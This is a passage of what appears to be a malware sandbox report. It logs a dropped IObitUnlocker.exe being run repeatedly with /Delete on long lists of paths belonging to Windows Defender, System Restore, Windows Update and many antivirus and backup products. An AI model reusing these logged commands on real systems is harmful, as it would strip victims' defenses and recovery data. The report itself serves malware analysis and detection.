Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:4064
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:5700
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Program Files (x86)\Windows Security","C:\Program Files (x86)\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files (x86)\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files (x86)\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files (x86)\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files (x86)\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files (x86)\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files (x86)\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files (x86)\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files (x86)\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files (x86)\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files (x86)\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files (x86)\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\Avast","C:\Program Files (x86)\Avast","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files (x86)\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files (x86)\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files (x86)\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files (x86)\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files (x86)\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft 